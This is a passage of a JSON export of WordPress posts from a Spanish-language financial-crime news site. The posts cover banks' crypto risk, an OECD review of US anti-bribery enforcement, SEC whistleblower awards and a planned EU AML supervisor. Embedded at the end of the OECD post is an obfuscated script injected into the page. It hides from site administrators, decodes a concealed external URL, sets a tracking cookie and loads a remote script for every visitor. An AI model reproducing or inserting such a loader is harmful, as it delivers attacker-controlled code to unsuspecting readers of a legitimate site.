criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" 